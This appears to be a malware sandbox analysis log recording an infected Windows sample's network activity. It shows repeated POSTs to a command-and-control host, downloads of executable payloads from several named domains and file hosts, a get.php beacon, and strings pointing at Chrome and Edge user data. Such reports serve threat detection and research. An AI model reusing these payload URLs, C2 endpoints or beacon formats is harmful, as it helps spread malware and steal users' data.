                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://vyqiomshqssisvw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 365Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rytahgiebpnmfjrr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 219Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://yqfebuetluk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 202Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mgutnitjcberjux.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://cxqtcjxcbweqomq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://thvtanlpdixf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 126Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hnabhogvnvjuyxda.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 278Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://frhbwhjpnkp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://flvndwkkmyq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xlhepjxdoaavsq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://icksdsgxuwb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ysxpvhnsken.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://terxqnbmwav.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 134Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://wuxikmkyyiyvjhcb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 233Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tibjimdaeviwygo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 228Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ayrsrgcushwf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 153Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://whiihgscdlmkvhwv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://cgvagvkswtibwtv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: GET /d.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: speedmouse.cz
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fmydyyifdkxsccew.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dyssigqosjokxkkd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xykelpcsnirlvvi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ixegmroantpxyo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 284Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: GET /osminogs.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: m2reg.ulm.ac.id
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qjdvgwdxpoi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xckkvufujgbxyef.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 259Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://yfmtfbfvtyu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://elyeucandoam.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 286Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bvaxstqfxtqasn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 283Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://menvnesdavpsra.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 126Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ivugkvkggqmhn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 215Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://forkgaagwwbbok.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bhymqkevpnqbrel.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 221Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://acuxoaosotn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 119Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://uwxqcqcwjurjgtu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://eclyfollbei.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 267Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rsmhvweyyois.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 228Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dgvcnwlrrmgleaej.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 144Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fjfqmqjtboisgdb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 117Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ddslfbgbdcw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://twesijjpkoj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 124Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://vwdgqkoanxln.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jkhwffqqpehrg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hqyserxcjylg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 239Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dysqoqxqmninrkwx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mfwnykkbkwiv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 214Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://pjvpsiycjwbbq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 184Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fwwrhefacnwm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://anxavyrbnxruw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 169Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://txonfiefbowx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hdblwhimwarhw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rlrxfnsljgyvce.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 202Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://pswthdpmgbig.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 269Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://uyvfiuwwcqrc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qgfsfhxsqgmjfi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 190Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hntaeskyawj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 126Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rehascswfslmgwk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 239Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bpvnrwwgvslopree.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 137Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rglkcocvewlpbb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 209Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jahuwpbbcqyho.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: trad-einmyus.com
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: unknownTCP traffic detected without corresponding DNS query: 88.198.108.242
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,11_2_0040CF10
                          Source: global trafficHTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
                          Source: global trafficHTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
                          Source: global trafficHTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
                          Source: global trafficHTTP traffic detected: GET /newagev HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
                          Source: global trafficHTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
                          Source: global trafficHTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
                          Source: global trafficHTTP traffic detected: GET /111.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: mahta-netwotk.click
                          Source: global trafficHTTP traffic detected: GET /Earco8.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: receitasdepascoa.com
                          Source: global trafficHTTP traffic detected: GET /get/iG8BdvMYF0/Nhnsunywskn.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
                          Source: global trafficHTTP traffic detected: GET /29asE5 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: yip.su
                          Source: global trafficHTTP traffic detected: GET /get/sUsSLI6uB1/6edofzV2z3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
                          Source: global trafficHTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
                          Source: global trafficHTTP traffic detected: GET /29MkE5 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: yip.su
                          Source: global trafficHTTP traffic detected: GET /dl/4175538/sig.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tmpfiles.org
                          Source: global trafficHTTP traffic detected: GET /downloads/toolspub1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: galandskiyher5.com
                          Source: global trafficHTTP traffic detected: GET /dl/buildz.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: brusuax.com
                          Source: global trafficHTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: brusuax.com
                          Source: global trafficHTTP traffic detected: GET /d.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: speedmouse.cz
                          Source: global trafficHTTP traffic detected: GET /osminogs.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: m2reg.ulm.ac.id
                          Source: global trafficHTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: habrafa.com
                          Source: global trafficHTTP traffic detected: GET /get/65c4e505302872e0f3bbb578 HTTP/1.1Host: mbappeportal.shopConnection: close
                          Source: global trafficHTTP traffic detected: GET /get/65c4e505302872e0f3bbb578 HTTP/1.1Host: mbappeportal.shopConnection: close
                          Source: global trafficHTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: habrafa.com
                          Source: global trafficHTTP traffic detected: GET /get/65c4e505302872e0f3bbb578 HTTP/1.1Host: mbappeportal.shopConnection: close
                          Source: global trafficHTTP traffic detected: GET /get/65c4e505302872e0f3bbb578 HTTP/1.1Host: mbappeportal.shopConnection: close
                          Source: global trafficHTTP traffic detected: GET /get/65c4e505302872e0f3bbb578 HTTP/1.1Host: mbappeportal.shopConnection: close
                          Source: E5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: $]q3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
                          Source: E5F3.exe, 0000001E.00000003.2993527305.0000000002E62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: $]qqC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
                          Source: EE23.exe, 00000012.00000003.2719859214.00000000031B0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
                          Source: EE23.exe, 00000012.00000003.2721585720.00000000031B0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
                          Source: EE23.exe, 00000012.00000003.2722046345.00000000031B0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)
                          Source: E5F3.exe, 0000001E.00000002.3129251232.0000000007880000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: \??\C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
                          Source: E5F3.exe, 0000001E.00000002.3129251232.0000000007880000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: \??\C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
                          Source: 78E8.exe.2.drString found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
                          Source: unknownDNS traffic detected: queries for: trad-einmyus.com
                          Source: unknownHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: resergvearyinitiani.shop
